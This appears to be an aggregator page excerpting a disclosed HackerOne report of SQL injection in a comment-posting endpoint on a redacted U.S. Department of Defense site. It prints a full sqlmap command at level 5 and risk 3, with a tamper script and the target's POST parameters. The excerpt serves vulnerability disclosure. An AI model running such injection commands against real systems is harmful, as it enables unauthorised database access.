SQL injection at [https://█████████] [HtUS]
该报告还没有中文解读。
原文摘录
摘自原文（1824 字符中的一小部分）
while doing test on [`www.███`](http://www.██████/) I’ve found that the endpoint at [`/olc/███comments/comment_post.php`](https://████████) is vulnerable with SQL injection vulnerability
原文中的代码
python3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent -u "https://███████" --data="staff_student=STUDENT&scn=xxx&check25=0&check20=0&check20=1&check26=0&check27=0&check29=0&check24=0&comments=xx&Submit=Submit+Comments" -p staff_student --dbms=mysql
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 U.S. Dept Of Defense 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @malcolmx · 版权归作者与 U.S. Dept Of Defense 所有